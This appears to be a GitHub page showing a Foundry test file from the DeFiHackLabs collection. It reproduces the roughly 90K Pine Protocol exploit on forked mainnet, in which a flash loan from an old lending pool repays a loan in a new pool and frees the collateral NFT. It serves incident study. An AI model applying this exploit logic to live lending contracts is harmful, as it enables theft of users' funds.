forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PineProtocol_exp.sol
164 lines (152 loc) · 5.98 KB
/
PineProtocol_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~90K (info from hacked.slowmist.io)
// Attacker : https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa
// Attacker Contract : https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef
// Vulnerable Contracts : https://etherscan.io/address/0x2405913d54fc46eeaf3fb092bfb099f46803872f
// https://etherscan.io/address/0xc3f4659588b13f23e09ec54783a3c407e39ad589
// NFT buy Tx: https://explorer.phalcon.xyz/tx/eth/0x2f328016764ecf1f57fda0f5490087a5ddba83706b51cf518bdbd7e65ae2383b
// Borrow Tx: https://explorer.phalcon.xyz/tx/eth/0xf4f254c3c6b64ded778b5af292c6ab6ed886c1bdd8988510bdc0ca0cf7f9857e
// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d
// @Analysis
// https://medium.com/neptune-mutual/analysis-of-the-pine-protocol-exploit-e09dbcb80ca0
// https://twitter.com/MistTrack_io/status/1738131780459430338
interface IERC721LendingPool {
function flashLoan(
address _receiver,
address _reserve,
uint256 _amount,
bytes memory _params
) external;
function repay(
uint256 nftID,
uint256 repayAmount,
address pineWallet
) external returns (bool);
function _loans(
uint256
)
external
view
returns (
uint256 loanStartBlock,
uint256 loanExpireTimestamp,
uint32 interestBPS1000000XBlock,
uint32 maxLTVBPS,
uint256 borrowedWei,
uint256 returnedWei,
uint256 accuredInterestWei,
uint256 repaidInterestWei,
address borrower
);
}
contract ContractTest is Test {
IWETH private constant WETH =
IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
IERC721LendingPool private constant ERC721LendingPool02Old =
IERC721LendingPool(0x2405913d54fC46eEAF3Fb092BfB099F46803872f);
IERC721LendingPool private constant ERC721LendingPool02New =
IERC721LendingPool(0xC3f4659588b13f23E09Ec54783A3c407e39ad589);
IERC721 private constant PPG =
IERC721(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);
address private constant pineGnosisSafe =
0xc490E4646A91C3CBaFa8c55540c94Dcd0212037e;
address private constant pineExploiter =
0x05324c970713450bA0Bc12EfD840034FCB0A4BAa;
uint256 private constant collateralTokenId = 3_324;
function setUp() public {
vm.createSelectFork("mainnet", 18835344);
vm.label(address(WETH), "WETH");
vm.label(address(ERC721LendingPool02Old), "ERC721LendingPool02Old");
vm.label(address(ERC721LendingPool02New), "ERC721LendingPool02New");
vm.label(address(PPG), "PPG");
vm.label(address(pineGnosisSafe), "pineGnosisSafe");
vm.label(address(pineExploiter), "pineExploiter");
}
function testExploit() public {
emit log_named_decimal_uint(
"[Before loan repay] Vault WETH balance after borrowing ~4 WETH to exploiter",
WETH.balanceOf(pineGnosisSafe),
18
);
emit log_named_address(
"[Before loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",
PPG.ownerOf(collateralTokenId)
);
(
,
,
,
,
uint256 borrowedWei,
,
,
,
address borrower
) = ERC721LendingPool02New._loans(collateralTokenId);
console.log(
"[Before loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",
borrowedWei,
borrower
);
console.log("---Exploit start---");
console.log("1. Taking flashloan from the old lending pool");
bytes memory params = abi.encode(
collateralTokenId,
address(ERC721LendingPool02New),
pineGnosisSafe
);
vm.prank(address(this), pineExploiter);
ERC721LendingPool02Old.flashLoan(
address(this),
address(WETH),
WETH.balanceOf(pineGnosisSafe),
params
);
console.log("---Exploit end---");
emit log_named_decimal_uint(
"[After loan repay] Vault WETH balance (nothing has changed and exploiter successfully repayed his ~4 WETH loan)",
WETH.balanceOf(pineGnosisSafe),
18
);
emit log_named_address(
"[After loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",
PPG.ownerOf(collateralTokenId)
);
(, , , , borrowedWei, , , , borrower) = ERC721LendingPool02New._loans(
collateralTokenId
);
console.log(
"[After loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",
borrowedWei,
borrower
);
}
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes memory _params
) external {
vm.startPrank(address(this), pineExploiter);
WETH.approve(address(ERC721LendingPool02New), type(uint256).max);
console.log(
"2. Using flashloaned WETH amount from old lending pool to repay loan in new lending pool"
);
ERC721LendingPool02New.repay(collateralTokenId, _amount, address(0));
// Exploiter send to attack contract additional 0.3 WETH to repay the flashloan in the old pool
deal(
address(WETH),
address(this),
WETH.balanceOf(address(this)) + 0.3 ether
);
console.log(
"3. Repaying flashloan by transferring WETH straight to the Vault"
);
uint256 amountToTransfer = _amount - WETH.balanceOf(pineGnosisSafe);
WETH.transfer(pineGnosisSafe, amountToTransfer);
vm.stopPrank();
}
}